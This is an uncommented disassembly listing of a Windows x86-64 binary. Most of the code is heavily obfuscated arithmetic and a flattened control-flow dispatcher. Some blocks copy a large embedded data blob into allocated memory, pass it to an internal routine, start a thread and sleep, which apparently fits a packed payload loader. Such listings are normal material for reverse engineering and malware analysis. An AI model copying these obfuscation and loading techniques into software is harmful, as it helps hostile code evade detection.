and ebx, 0xbc5dabe0
or ebx, edx
xor ebx, 0xbc5dabe0
mov edx, edi
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x4b42255e
and edx, 0xb4bddaa1
or edx, ebx
mov ebx, edx
xor ebx, 0xb4b09000
xor edx, 0x4b42255e
mov esi, edx
and esi, 0x14f4bbd
and ebx, 0xfeb0b442
or ebx, esi
or edx, edi
and edi, 0x14f4bbd
and eax, 0xfeb0b442
or eax, edi
xor eax, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, al
and cl, r9b
mov edx, r8d
or dl, cl
xor dl, 1
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor r9b, r8b
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov r8d, eax
mov ebx, ecx
or al, cl
xor cl, 1
and r8b, cl
and bl, dl
or bl, r8b
xor cl, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x9aee6e66
mov edx, 0x22878c1b
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0x9aee6e66
jmp 0x1401a14db
mov eax, 0x9b25da52
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x99f8491e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xedd1c2b3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xbaac698
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov eax, 0x9ba55cd4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x60]
mov eax, 0x7ab01f57
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0xc7373dc7
and edx, ebx
not ebx
and ebx, 0xc7373dc7
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe1c5cf57
and edx, 0x1e3a30a8
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0x26f2f290
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0xeb70229c
and edi, 0x148fdd62
or edi, esi
or ecx, edx
and edx, 0xeb70229c
and ebx, 0x148fdd63
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x58461cf1
and ecx, 0xa7b9e30e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9fecc511
and ecx, 0x60133aee
or ecx, edx
mov edx, ecx
xor edx, 0x442200
xor ecx, 0xc7aad9e0
mov ebx, ecx
and ebx, 0xb83904bf
and edx, 0x47c6fb40
or edx, ebx
xor edx, 0xb83904bf
xor ecx, edx
test ecx, edx
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r11d, edx
xor r11b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r11b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
and r10b, r9b
and r9b, dl
not dl
and dl, al
or dl, r9b
mov ecx, eax
xor cl, r8b
and cl, al
and al, r8b
or al, r10b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
not cl
mov ebx, edx
xor bl, 1
and cl, dl
and bl, al
or bl, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x4e0bb47f
mov edx, 0xd9d2c7bf
cmovne ecx, edx
test al, 1
mov eax, 0x4e0bb47f
cmovne eax, ecx
test bl, bl
jmp 0x1401a14db
mov eax, 0x565f0cf5
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x5aaa0480
and ecx, 0x8000b912
or ecx, edx
mov edi, ecx
xor edi, 0x8902
xor ecx, 0x42824628
mov ebx, esi
or ebx, 0xdaaabd92
mov edx, ebx
not edx
and ecx, 0xc2827638
and edi, 0x18288982
or edi, ecx
and ebx, 0xc2827638
and edx, 0x25550045
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xe9e60f2b
and edx, 0x1619f0d4
or edx, ecx
mov ecx, edx
xor ecx, 0x8130403
xor edx, 0x3100a088
and edx, 0xf5a0e9cc
and ecx, 0xa5f1633
or ecx, edx
xor ecx, 0xa5f1633
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
xor dl, cl
mov r8d, edx
xor r8b, 1
and al, bl
mov ecx, edx
and cl, r8b
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r9d, edx
xor r9b, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xbfcb411c
mov ebx, 0x90a79316
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xbfcb411c
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x3f28ca8e
and edx, ebx
not ebx
and ebx, 0x3102f6aa
and ecx, 0xcefd0955
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4280000
xor ecx, 0x3100c28a
or ecx, 0xc0d73571
mov edi, edx
not edi
mov esi, ecx
and esi, 0xca5708bc
and ebx, 0x3528c202
or ebx, esi
or ecx, edi
and edi, 0xca5708bc
and edx, 0x35a8f743
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc0d73571
and ecx, 0x3f28ca8e
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x145eab82
mov edi, ebx
and edi, edx
and ebx, ecx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x27830565
and ebx, 0xd87cfa9a
or ebx, edi
xor ebx, 0xcc225119
and ecx, 0x85e53c1
mov edi, edx
and edi, 0xf7a1ac3e
or edi, ecx
xor edi, 0x85e53c0
and edx, 1
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x7f05828f
and edx, 0x80fa7d70
or edx, ecx
xor edx, 0x80fa7d70
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
xor ecx, 0xf3b1c6f
and ecx, edx
not edx
and edx, 0xf3b1c6f
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x60717705
and ecx, 0x9f8e88fa
or ecx, edx
xor ecx, 0x90b59495
sete dl
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, cl
mov ecx, ebx
and cl, dl
or cl, al
xor dl, bl
and dl, bl
mov eax, edx
xor al, 1
xor dl, cl
mov ebx, ecx
xor bl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, bl
and cl, al
or cl, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xac6d3e87
mov ebx, 0xbdfa3654
cmovne edx, ebx
test al, 1
mov eax, 0xac6d3e87
cmovne eax, edx
jmp 0x1401a1193
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x486f9bac
mov edx, esi
and edx, 0xb7906452
or edx, ebx
xor edx, 0xb7906452
mov edi, esi
and edi, 1
or edi, edx
mov edx, edi
not edx
and ecx, edx
and edi, esi
or edi, ecx
not edi
or edi, edx
cmp edi, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x40ff1263
mov ebx, 0x3df01643
cmovne edx, ebx
test cl, cl
mov ecx, edx
mov ebx, 0x40ff1263
cmovne ecx, ebx
test al, al
cmove ecx, edx
jmp 0x1401a26c0
cmp byte [rbp + 7], 0
mov eax, 0x902c6c9b
mov ecx, 0x31ce7037
jmp 0x14019970b
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov eax, 0x792677f3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x67eb0ce6
and edx, 0x9814f319
or edx, ecx
mov ebx, edx
xor ebx, 0x90047318
xor edx, 0x1480ce0
and edx, 0x9588ce1
and ebx, 0xf6a7731e
or ebx, edx
mov edx, ebx
xor edx, 0x8000440
xor ebx, 0xf6a7731e
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xd55efaa7
and edx, 0x2aa10558
or edx, ebx
mov ebx, edx
xor ebx, 0x2a210550
xor edx, 0xd55efaa6
mov esi, ecx
and esi, 0x8084080f
and edi, 0x7f7bf7f0
or edi, esi
or ecx, edx
and edx, 0x8084080f
and ebx, 0x7f7bf7f0
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa99a38ea
and ecx, 0x5665c715
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5665c715
and ecx, 0xa99a38ea
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb2cc9e61
and ecx, 0x4d33619e
or ecx, edx
mov edx, ecx
xor edx, 0xc134106
xor ecx, 0x228c1a41
and ecx, 0x63ac3ad9
and edx, 0x9c53c526
or edx, ecx
xor edx, 0x63ac3ad9
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor dl, cl
mov r8d, edx
xor r8b, 1
mov ebx, r8d
and bl, dl
mov ecx, ebx
xor cl, 1
xor bl, r8b
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor cl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xfb1d8ecc
mov ebx, 0xa9f67294
cmovne eax, ebx
test dl, dl
mov edx, 0xfb1d8ecc
cmovne edx, eax
test cl, 1
cmove edx, eax
jmp 0x1401a2246
mov eax, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov edi, eax
or edi, 0x779a3ea
mov ebx, edi
not ebx
mov edx, esi
or edx, 0xf0864400
and edx, 0xf3eee460
mov ecx, eax
and ecx, 0x411038a
or ecx, edx
and edi, 0xf3eee460
and ebx, 0x8001815
or ebx, edi
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x849f7895
and ebx, 0x7b60876a
or ebx, ecx
mov ecx, ebx
xor ecx, 0x4100081
xor ebx, 0x83e6db7e
mov edx, ebx
and edx, 0x788dad5a
and ecx, 0x877252a5
or ecx, edx
and esi, 0x788dad5a
and eax, 0x877252a5
or eax, esi
xor eax, ecx
xor ebx, eax
test ebx, eax
sete r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov ebx, r8d
xor bl, al
and bl, r8b
mov edx, ebx
xor dl, 1
mov ecx, ebx
or cl, dl
xor bl, cl
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r9d
or dl, cl
xor dl, 1
and cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r8d
xor dl, r9b
and dl, r8b
xor al, r9b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xb2af7afe
mov ebx, 0x3538db16
cmovne ecx, ebx
test al, 1
mov eax, 0xb2af7afe
cmovne eax, ecx
test dl, 1
jmp 0x14019970b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xc6401588
and ecx, 0x39bfea77
or ecx, edx
mov edx, ecx
not edx
and edx, 0x39bfea77
and ecx, 0xc6401588
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0x3ec3b2aa
and ecx, 0xc13c4d55
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1240154
xor ecx, 0x3ec3b2ab
mov esi, edx
and esi, 0xda19deaa
and edi, 0x25e62154
or edi, esi
or edx, ecx
and ecx, 0xda19deaa
and ebx, 0x25e62155
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0x4a437eaa
and ecx, 0xb5bc8155
or ecx, edx
xor ecx, 0x4a437eaa
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov edx, r9d
xor dl, al
mov ecx, edx
and cl, r9b
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor r10b, r8b
or al, r9b
xor al, 1
or al, r10b
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
not cl
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xb38a04a0
mov edx, 0x25d62647
cmovne eax, edx
test bl, bl
mov ebx, 0xb38a04a0
cmove eax, ebx
test cl, 1
cmovne eax, edx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x405843e1
and ecx, 0xbfa7bc1e
or ecx, ebx
mov ebx, ecx
xor ebx, 0xb1a4bc00
xor ecx, 0x405843e1
mov edi, ecx
and edi, 0xe13429e
and ebx, 0xf1ecbd61
or ebx, edi
or ecx, edx
and edx, 0xe13429e
and eax, 0xf1ecbd61
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
xor cl, al
and cl, al
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
mov edx, 0xadf5c141
mov ebx, 0x8d0214be
cmovne edx, ebx
test al, al
mov eax, 0xadf5c141
cmovne eax, edx
test cl, cl
jmp 0x1401a2f6c
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0xf19f2984
mov edi, edx
not edi
or ebx, 0xe60d67b
mov ecx, ebx
not ecx
and edx, 0x1bdaddd7
and edi, 0x4200228
or edi, edx
and ebx, 0x1bdaddd7
and ecx, 0xe0052000
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xa7303262
and ecx, 0x58cfcd9d
or ecx, edx
mov ebx, ecx
xor ebx, 0x10071342
mov edx, ecx
xor edx, 0xa950e419
mov edi, ecx
xor edi, 0x1847334a
and edi, edx
and ebx, 0xb117d753
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xb117d752
and ebx, 0x4ee828ad
or ebx, edi
and edx, 1
xor ecx, 0xa950e418
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa553b14e
and ecx, 0x5aac4eb1
or ecx, edx
mov edi, ecx
xor edi, 0x488c4410
xor ecx, 0xa553b14e
mov edx, ebx
not edx
mov esi, edx
and esi, 0x13628baf
and ebx, 0xec9d7450
or ebx, esi
or edx, ecx
and ecx, 0x13628baf
and edi, 0xec9d7450
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xadd7412f
and ecx, edx
and edx, 0x5228bed0
or edx, ebx
mov ebx, edx
xor ebx, 0x52083290
xor edx, 0xadd7412f
mov edi, ecx
not edi
mov esi, edx
and esi, 0x4678d6b
and ebx, 0xfb987294
or ebx, esi
or edx, edi
and edi, 0x4678d6b
and ecx, 0xfb987294
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg bl
mov ecx, ebx
xor cl, r10b
and cl, bl
mov eax, ecx
xor al, 1
or cl, al
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, r9d
and r8b, r10b
or r10b, r9b
and bl, r9b
or r9b, cl
xor r9b, 1
xor al, cl
xor al, 1
and al, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
or bl, r8b
mov ecx, r10d
xor cl, bl
xor bl, 1
xor cl, 1
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xdbbeaf48
mov ebx, 0x9ad1c169
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xdbbeaf48
jmp 0x1401a0e8b
mov eax, 0xbb1c9b32
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x19820427
mov edi, eax
and edi, 0x40311080
or edi, edx
mov edx, edi
xor edx, 0x40111000
xor edi, 0xbb8ca41e
mov ecx, esi
or ecx, 0x59b314a7
mov ebx, ecx
not ebx
and edi, 0xbbaca49e
and edx, 0x40131021
or edx, edi
and ecx, 0xbbaca49e
and ebx, 0x4404b40
or ebx, ecx
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xa64ceb59
and ebx, 0x59b314a6
or ebx, ecx
mov ecx, ebx
not ecx
and esi, ecx
and ebx, eax
or ebx, esi
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne r10b
cmp r9d, 9
setg cl
cmp r9d, 0xa
setl r9b
mov edx, r9d
xor dl, cl
and dl, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor bl, 1
mov r11d, ebx
xor r11b, al
or bl, al
xor bl, 1
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, r10b
and al, r8b
or al, dl
mov edx, r9d
xor dl, r10b
xor r9b, r8b
or cl, r10b
xor cl, 1
or cl, r9b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x73f58a15
mov ebx, 0x81a9aa57
cmovne ecx, ebx
test al, 1
mov eax, 0x73f58a15
cmovne eax, ecx
test dl, dl
cmove eax, ecx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xec0802c9
and edx, ebx
not ebx
and ebx, 0xac080009
and ecx, 0x400002c0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40
xor ecx, 0xbffffd3f
mov edi, edx
not edi
mov esi, ecx
and esi, 0x4cc12286
and ebx, 0xa0080049
or ebx, esi
or ecx, edi
and edi, 0x4cc12286
and edx, 0xb33edd79
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x13f7fd36
and ecx, 0xec0802c9
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
or edi, 0x49ad2561
mov esi, edi
not esi
mov eax, edx
or eax, 0xb652da9e
mov ebx, eax
not ebx
and edi, 0x26dcf025
and esi, 0x90020a9a
or esi, edi
and eax, 0x26dcf025
and ebx, 0x49210540
or ebx, eax
xor ebx, esi
mov eax, ebx
not eax
and eax, 0xaa6d8a26
and ebx, 0x559275d9
or ebx, eax
xor ebx, 0xe3c0af46
and ecx, 0x519a5ffc
mov eax, edx
and eax, 0xae65a003
or eax, ecx
xor eax, 0x519a5ffd
and edx, 1
or edx, eax
not edx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x4d6af726
and edx, 0xb29508d9
or edx, eax
mov eax, edx
xor eax, 0x80110049
xor edx, 0x450a7222
and eax, 0x8871854d
and edx, 0x778e7ab2
or edx, eax
mov eax, edx
xor eax, 0x8318000
xor edx, 0x41086890
and edx, 0xc1486ddd
and eax, 0x3eb79222
or eax, edx
xor eax, 0x3eb79222
setne al
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
xor cl, bl
xor bl, cl
and bl, cl
xor dl, al
xor bl, 1
mov eax, ebx
or al, dl
xor bl, dl
mov ecx, eax
xor cl, bl
mov ecx, 0x8e58fd43
mov edx, 0x46616969
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x8e58fd43
cmovne edx, ebx
test al, al
jmp 0x1401a2170
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x9b879f18
and edx, ebx
not ebx
and ebx, 0x52b8b93d
and ecx, 0xad4746c2
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8040200
xor ecx, 0x12809918
or ecx, 0x647860e7
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc5eb9d87
and ebx, 0x1a040218
or ebx, esi
or ecx, edi
and edi, 0xc5eb9d87
and edx, 0x3a146278
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4cabf59f
and ecx, 0xb3540a60
or ecx, edx
mov ebx, ecx
xor ebx, 0x28d39578
mov edx, ecx
xor edx, 0x28d39579
and edx, ebx
xor ecx, 0xd6284a05
and ecx, 0xd6aa4f3d
and ebx, 0x2955b0c2
or ebx, ecx
mov edi, ebx
xor edi, 0x10580c2
mov ecx, edx
not ecx
xor ebx, 0xd6aa4f3c
mov esi, ecx
and esi, 0x28503339
and edx, 0xd7afccc6
or edx, esi
or ecx, ebx
and ebx, 0x28503339
and edi, 0xd7afccc6
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x83acfd93
and edx, 0x7c53026c
or edx, ebx
xor edx, 0x83acfd93
xor ecx, edx
test ecx, edx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, 1
mov ecx, eax
or cl, dl
xor dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x513066b3
mov ebx, 0xcab010d9
cmovne edx, ebx
test cl, 1
mov ecx, 0x513066b3
cmovne edx, ecx
test al, 1
jmp 0x1401a2243
mov eax, 0xb0ff5249
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xa291a8bf
and ecx, 0x5d6e5740
or ecx, edx
mov edx, ecx
xor edx, 0x2810803
mov ebx, ecx
xor ebx, 0x5d6e5740
mov edi, ebx
and edi, 0xa018f6fc
and edx, 0x5fe70903
or edx, edi
mov edi, edx
not edi
and edi, 0x5fe70902
and edx, 0xa018f6fd
or edx, edi
and ebx, 1
xor ecx, 0x5d6e5741
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1104d820
mov ebx, ecx
and ebx, 0xa480014
or ebx, edx
xor ebx, 0xa480014
and ecx, 0xe4b327cb
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe4b327cb
and ecx, 0x1b4cd834
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x577979ae
and ecx, 0xa8868651
or ecx, ebx
xor ecx, 0x577979ae
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
mov ebx, ecx
and bl, r8b
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
mov eax, 0xa5a4575f
mov edx, 0xb39d2c0a
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
jmp 0x1401a1a3b
mov eax, 0x43008bb5
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb5cf228f
and edx, ecx
and ecx, 0x4a30dd70
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa104d20
xor ecx, 0xb5cf228f
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc46bb0df
and ebx, 0x3b944f20
or ebx, esi
or ecx, edi
and edi, 0xc46bb0df
and edx, 0x3b944f20
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x81d34a79
and edi, 0x7e2cb586
or edi, esi
or edx, ebx
and ebx, 0x81d34a79
and ecx, 0x7e2cb586
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xfcd3bcc4
and ebx, 0x32c433b
or ebx, esi
or edx, edi
and edi, 0xfcd3bcc4
and ecx, 0x32c433b
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
